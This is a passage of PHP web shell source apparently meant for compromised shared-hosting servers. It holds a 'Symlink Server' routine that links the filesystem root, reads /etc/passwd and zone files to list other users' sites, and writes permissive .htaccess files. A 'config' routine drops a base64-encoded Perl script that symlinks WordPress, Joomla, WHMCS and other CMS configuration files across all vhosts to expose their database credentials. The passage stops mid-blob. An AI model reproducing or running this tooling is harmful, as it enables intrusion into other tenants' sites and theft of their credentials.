if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1]
[0]."</font></a></td>
<td>".$user['name']."</td>
<td><a href='$full/008_sym/root/home/".$user['name']."/public_html'
target='_blank'><font class=txt>Symlink</font></a></td></tr>";
flush();
$dcount++;}}}
echo "</table>";
}else{
$TEST=@file('/etc/passwd');
if ($TEST){
@mkdir("008_sym",0777);
@chdir("008_sym");
exe("ln -s / root");
$file3 = 'Options Indexes FollowSymLinks
Satisfy Any';
$fw3 = fwrite($fp3,$file3);
@fclose($fp3);
echo "
<table align=center border=1><tr>
<td align=center><font size=3>S. No.</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$dcount = 1;
$file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
while(!feof($file)){
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches
== "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" ||
$matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches
== "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches ==
"var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/008_sym/root/home/" .
$matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}fclose($file);
echo "</table>";}else{if($os != "Windows")
{@mkdir("008_sym",0777);@chdir("008_sym");@exe("ln -s / root");$file3 = '
Options Indexes FollowSymLinks
DirectoryIndex 008
Satisfy Any
';
$fw3 = fwrite($fp3,$file3);@fclose($fp3);
echo "
<center><h2 class='k2ll33d2'>Symlink Server</h2>
<table align=center border=1><tr>
<td align=center><font size=3>ID</font></td>
<td align=center><font size=3>Symlink</font></td></tr>";
$temp = "";$val1 = 0;$val2 = 1000;
for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
if ($uid)$temp .= join(':',$uid)."\n";}
echo '<br/>';$temp = trim($temp);$file5 =
fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);$dcount = 1;$file =
fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file)){$s = fgets($file);$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",
$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches
== "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" ||
$matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches
== "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches ==
"var/www" || $matches == "var/named")
continue;
echo "<tr><td align=center><font size=2>" . $dcount . "</td>
<td align=center><font class=txt>" . $matches . "</td>";
echo "<td align=center><font class=txt><a href=$full/008_sym/root/home/" .
$matches . "/public_html target='_blank'>Symlink</a></td></tr>";
$dcount++;}
fclose($file);
echo "</table></div></center>";unlink("test.txt");
} else
echo "<center><font size=3>Cannot create Symlink</font></center>";
}
}
}
elseif($_GET['do'] == 'config') {
$idx = mkdir("idx_config", 0777);
$isi_htc = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire
None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script
.cin\nAddHandler cgi-script .cin";
$htc = fopen("idx_config/.htaccess","w");
fwrite($htc, $isi_htc);
fclose($htc);
if(preg_match("/vhosts|vhost/", $dir)) {
$link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
$vhost =
"IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpvcGVuZGlyKG15ICRkaXIgLCAiL3Zhci
93d3cvdmhvc3RzLyIpOw0KZm9yZWFjaChzb3J0IHJlYWRkaXIgJGRpcikgew0KICAgIG15ICRpc0RpciA9I
DA7DQogICAgJGlzRGlyID0gMSBpZiAtZCAkXzsNCiRzaXRlc3MgPSAkXzsNCg0KDQpzeW1saW5rKCcvdmFy
L3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGV
zcy4nLXNob3AudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3
Mvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3Atb3MudHh0Jyk7DQpzeW1saW5rK
CcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb3Njb20vaW5jbHVkZXMvY29uZmlndXJl
LnBocCcsJHNpdGVzcy4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGV
zcy4nL2h0dHBkb2NzL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY2
9tbWVyY2UudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvb
3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLW9zY29tbWVyY2VzLnR4dCcp
Ow0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jbHVkZXM
vY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3
RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRzaXRlc
3MuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4n
L2h0dHBkb2NzL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJHNpdGVzcy4nLXNhbGUudHh0Jyk7DQp
zeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYW1lbWJlci9jb25maWcuaW
5jLnBocCcsJHNpdGVzcy4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc
2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnLmluYy5waHAnLCRzaXRlc3MuJy1hbWVtYmVyMi50eHQnKTsNCnN5
bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXJzL2NvbmZpZ3VyYXR
pb24ucGhwJywkc2l0ZXNzLictbWVtYmVycy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLi
RzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlczEudHh0Jyk7DQpzeW1sa
W5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW0vaW5jbHVkZXMvY29uZmln
LnBocCcsJHNpdGVzcy4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGV
zcy4nL2h0dHBkb2NzL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictZm9ydW1zLnR4dC
cpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FkbWluL2NvbmYuc
GhwJywkc2l0ZXNzLictNS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9o
dHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictNC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d
3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZX
NzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dwL3dwL
WNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9z
dHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvV1Avd3AtY29uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy5
0eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy93cC9iZXRhL3
dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92a
G9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHBy
ZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3ByZXN
zL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3
cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzL
ictd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBk
b2NzL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4dCcpOw0Kc3ltbGl
uaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2Jsb2cvd3AtY29uZmlnLnBocCcsJH
NpdGVzcy4nLVdvcmRwcmVzcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJ
y9odHRwZG9jcy93b3JkcHJlc3MvYmV0YS93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLnR4
dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3Mvd3AtY29
uZmlnLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdm
hvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ldy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZ
XNzLW5ldy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9i
bG9nL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtYmxvZy50eHQnKTsNCnN5bWxpbmsoJy9
2YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRzaXRlc3
MuJy1Xb3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJ
y9odHRwZG9jcy9ibG9ncy93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZXNzLWJsb2dzLnR4dCcp
Ow0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvd3AtY29uZml
nLnBocCcsJHNpdGVzcy4nLVdvcmRwcmVzcy1ob21lLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3
RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Byb3RhbC93cC1jb25maWcucGhwJywkc2l0ZXNzLictV29yZHByZ
XNzLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9j
cy9zaXRlL3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3Mtc2l0ZS50eHQnKTsNCnN5bWxpbms
oJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYWluL3dwLWNvbmZpZy5waHAnLCRzaX
Rlc3MuJy1Xb3JkcHJlc3MtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc
3MuJy9odHRwZG9jcy90ZXN0L3dwLWNvbmZpZy5waHAnLCRzaXRlc3MuJy1Xb3JkcHJlc3MtdGVzdC50eHQn
KTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hcmNhZGUvZnVuY3R
pb25zL2RiY2xhc3MucGhwJywkc2l0ZXNzLictaWJwcm9hcmNhZGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3
d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJjYWRlL2Z1bmN0aW9ucy9kYmNsYXNzLnBocCcsJ
HNpdGVzcy4nLWlicHJvYXJjYWRlLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVz
cy4nL2h0dHBkb2NzL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYTIudHh0Jyk
7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvcHJvdGFsL2NvbmZpZ3
VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L
3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9qb28vY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1q
b28udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY21zL2N
vbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictam9vbWxhLWNtcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3
d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzL
ictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0
cGRvY3MvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLWpvb21sYS1tYWluLnR4dCcpOw0Kc3l
tbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL25ld3MvY29uZmlndXJhdGlvbi
5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3cy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nL
iRzaXRlc3MuJy9odHRwZG9jcy9uZXcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtbmV3
LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvbWUvY29
uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEtaG9tZS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3
d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzL
ictdmJ+Y29uZmlnLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBk
b2NzL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdmIzfmNvbmZpZy50eHQnKTsNCnN5bWx
pbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jYy9pbmNsdWRlcy9jb25maWcucG
hwJywkc2l0ZXNzLictdmIxfmNvbmZpZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRza
XRlc3MuJy9odHRwZG9jcy9mb3J1bS9pbmNsdWRlcy9jbGFzc19jb3JlLnBocCcsJHNpdGVzcy4nLXZibHV0
dGlufmNsYXNzX2NvcmUucGhwLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4
nL2h0dHBkb2NzL3ZiL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3
NfY29yZS5waHAxLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb
2NzL2NjL2luY2x1ZGVzL2NsYXNzX2NvcmUucGhwJywkc2l0ZXNzLictdmJsdXR0aW5+Y2xhc3NfY29yZS5w
aHAyLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9
jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobTE1LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdm
hvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJ
y13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRw
ZG9jcy93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG0td2htY3MudHh0Jyk7DQp
zeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvd2htL1dITUNTL2NvbmZpZ3
VyYXRpb24ucGhwJywkc2l0ZXNzLictd2htLVdITUNTLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc
3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLict
d2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3M
vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy13aG1jcy50eHQnKTsNCnN5bWxpbmsoJy92YX
Ivd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkc
2l0ZXNzLictc3VwcG9ydC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9o
dHRwZG9jcy9zdXBwL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VwcC50eHQnKTsNCnN5bWxpbms
oJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zZWN1cmUvY29uZmlndXJhdGlvbi5waH
AnLCRzaXRlc3MuJy1zdWN1cmUudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzL
icvaHR0cGRvY3Mvc2VjdXJlL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1Y3VyZS13aG0u
dHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2VjdXJlL3d
obWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluay
gnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NwYW5lbC9jb25maWd1cmF0aW9uLnBoc
CcsJHNpdGVzcy4nLWNwYW5lbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3Mu
Jy9odHRwZG9jcy9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXBhbmVsLnR4dCcpOw0Kc3l
tbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3QvY29uZmlndXJhdGlvbi
5waHAnLCRzaXRlc3MuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzc
y4nL2h0dHBkb2NzL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1ob3N0aW5nLnR4dCcp
Ow0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RzL2NvbmZpZ3V
yYXRpb24ucGhwJywkc2l0ZXNzLictaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy
4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1qb29tbGEudHh0Jyk7D
QpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VibWl0dGlja2V0LnBo
cCcsJHNpdGVzcy4nLXdobWNzMi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3M
uJy9odHRwZG9jcy9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkc2l0ZXNzLictY2xpZW50cy50eHQnKT
sNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnQvY29uZmlnd
XJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMv
Jy4kc2l0ZXNzLicvaHR0cGRvY3MvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGl
lbnRlcy50eHQnKTsNCnN5bWxpbms
oJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jbGllbnRlL2NvbmZpZ3VyYXRpb24ucG
hwJywkc2l0ZXNzLictY2xpZW50LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzc
y4nL2h0dHBkb2NzL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1jbGllbnRz
dXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2J
pbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5nLnR4dCcpOyANCnN5bWxpbmsoJy
92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnL
CRzaXRlc3MuJy13aG0tbWFuYWdlLnR4dCcpOyANCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRl
c3MuJy9odHRwZG9jcy9teS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS1teS50eHQnKTsgDQp
zeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvbXlzaG9wL2NvbmZpZ3VyYX
Rpb24ucGhwJywkc2l0ZXNzLictd2htLW15c2hvcC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zd
HMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLict
emVuY2FydC50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3M
vemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRzaXRlc3MuJy1zaG9wLXplbmNhcnQudH
h0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3Nob3AvaW5jb
HVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkc2l0ZXNzLictc2hvcC1aQ3Nob3AudHh0Jyk7IA0Kc3ltbGlu
aygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL1NldHRpbmdzLnBocCcsJHNpdGVzcy4
nLXNtZi50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc2
1mL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc
3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1
bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1
zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3
cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0Z
XNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mv
YXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3c
vdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy
11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZ
l9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRz
aXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCc
vdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSF
AtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL
21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRz
aXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbms
oJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLn
BocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc
3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcp
IDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29
uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3
cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nL
XdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBw
b3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Z
hci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3
MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL
